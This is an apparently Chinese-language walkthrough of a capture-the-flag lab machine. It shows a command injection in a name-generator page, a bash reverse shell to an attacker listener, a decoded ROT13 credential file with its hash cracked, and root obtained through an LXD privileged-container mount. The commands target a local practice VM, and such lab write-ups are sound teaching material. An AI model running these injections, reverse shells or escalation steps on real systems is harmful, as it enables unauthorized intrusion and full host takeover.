kali攻击机ip:192.168.156.107
靶机网络配置和hacksudo2一致
端口扫描
nmap -sS -p- -A 192.168.56.108
目录扫描
dirb http://192.168.56.108
info.php
别的文件就妹用了
访问80端口
下面几个链接都点点看
第一条,牛油果?avocado?
可惜妹用
第二个链接,1+1=2都知道吧,输入2解锁链接
别看了里面是作者的个人简介
后面的链接都一样妹用,但是密码留着可能有用
avocado urlpage5 torrenting_is-legal!
不信,加个后缀再扫扫
dirb http://192.168.56.108 -X .php,.txt
login.php
尝试弱密码爆破失败=_=
上面几个密码也不行
generator.php
为你构造花式名字
有输入框就可能存在注入漏洞,输入一个特殊字符’,开启bp抓包
单引号被url编码了
无回显
将可能实现注入的字符都试一试,最终发现#(%23)和&(%26)有回显,证明这两个符号被成功插入进命令语句里了
&可以利用一下
居然可以执行shell命令
这么一来,不整个反弹shell都不好意思
现在kali开启nc监听
url编码有点难看,直接在页面注入
试了几个bash反弹代码,最终这个是可以的
a & bash -c "bash -i >& /dev/tcp/192.168.56.107/6666 0>&1"
用户目录没有权限查看
翻翻找找,发现了一个可查看的文件
cat hacksudo
unpxfhqb ybpxre FFU hfreanzr:unpxfhqb cnffjbeq:63p9142792q571q0s7p28ro30626q6s38792n2r7679o76q784231676q62447so80ns8953745s709p6622qqn2po4q754p262q0q31o3030n08s7o524079n6o336o
这很明显是个xxx:xxxx这种语法的句子,但是又看不懂,很大可能是凯撒密码(通过把字母移动一定的位数来实现加密和解密)
CTF在线工具-在线凯撒密码加密|在线凯撒密码解密|凯撒密码算法|Caesar Cipher (hiencode.com)
需要输入移动了几位数,看这个FFU,让我联想到ssh,f到s是13位
果然
hacksudo locker ssh username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b
可是这个password,还是怎么看怎么不对劲,谁家好人密码这么乱七八糟
再试试是什么hash算法解密
终于找到一个可以解密hash密码的网站
vishal
使用su命令切换到hacksudo用户
整个回显
python3 -c 'import pty;pty.spawn("/bin/bash")'\;
d045e6f9feb79e94442213f9d008ac48
不知道是密码还是flag
找找提权方法,什么suid文件sudo命令等等等等都看过了,没用
查看用户id的时候发现了一堆没见过的东西
让我查一查
LXC
LXC (Linux Containers) is a technology for creating and managing
lightweight, isolated Linux environments. It is a containerization
technology that provides an operating system-level virtualization
method for running multiple isolated Linux systems on a single host.
LXD
LXD is a system container manager that provides a high-level API for
managing LXC containers. It is designed to provide a full system
container experience, with performance comparable to that of a
virtual machine. LXD adds a layer of management and automation to
LXC, making it easier to create and manage containers, including
features such as live migration, snapshotting, and container cloning.
LXD是一个root进程,它可以负责执行任意用户的LXD UNIX套接字写入访问操作。 而且在某些情况下,LXD甚至都不会对调用它的用户权限进行检查和匹配
原来要利用LXD提权
hacktricks
下面这篇文章作为参考吧,是国外的
lxd/lxc Group - Privilege escalation - HackTricks
找到一篇国内的,代码有所不同,不妨一试
看我如何利用LXD实现权限提升 - FreeBuf网络安全行业门户
git clone https://github.com/saghul/lxd-alpine-builder.git
正常访问github的话我是下载不了的,会报错,所以我使用了一些科技,你懂的:-)
cd lxd-alpine-builder
alpine镜像构建,记得要用root权限
./build-alpine
这步很可能会报错,反正我执行了好几十次才成功
要么就这样
要么就这样
最终我也没有找到好的解决方案,就是靠执行的次数取胜 =_=
可以看见多了个v3.17 tar.gz文件
开启http服务
python -m http.server 8888
将镜像下载到靶机
cd /tmp
wget http://192.168.56.107:8888/alpine-v3.17-x86_64-20230321_2235.tar.gz
初始化lxd
lxd init
到Name of the storage backend to use的时候, 输入dir,其他一路回车
这里要将镜像移到用户主目录下才能进行下一步
我看网上有的教程是直接在/tmp目录下做的,但是我试了一晚上都不行,一直报错,说找不到文件,查了半天没解决方法
后面才发现,将镜像移到主目录再导入就可以了
cd ~
mv /tmp/alpine-v3.17-x86_64-20230321_2235.tar.gz ./alpine-v3.17-x86_64-20230321_2235.tar.gz
导入镜像
lxc image import ./alpine-v3.17-x86_64-20230321_2235.tar.gz --alias test
初始化镜像
lxc init test test -c security.privileged=true
挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true
启动镜像文件
lxc start test
运行了sh脚本,得到容器的Shell
lxc exec test /bin/sh
此时我们就是root权限了
id
进入目录/mnt/root即可查看靶机的所有资源
cd /mnt/root
cd root
o了 😃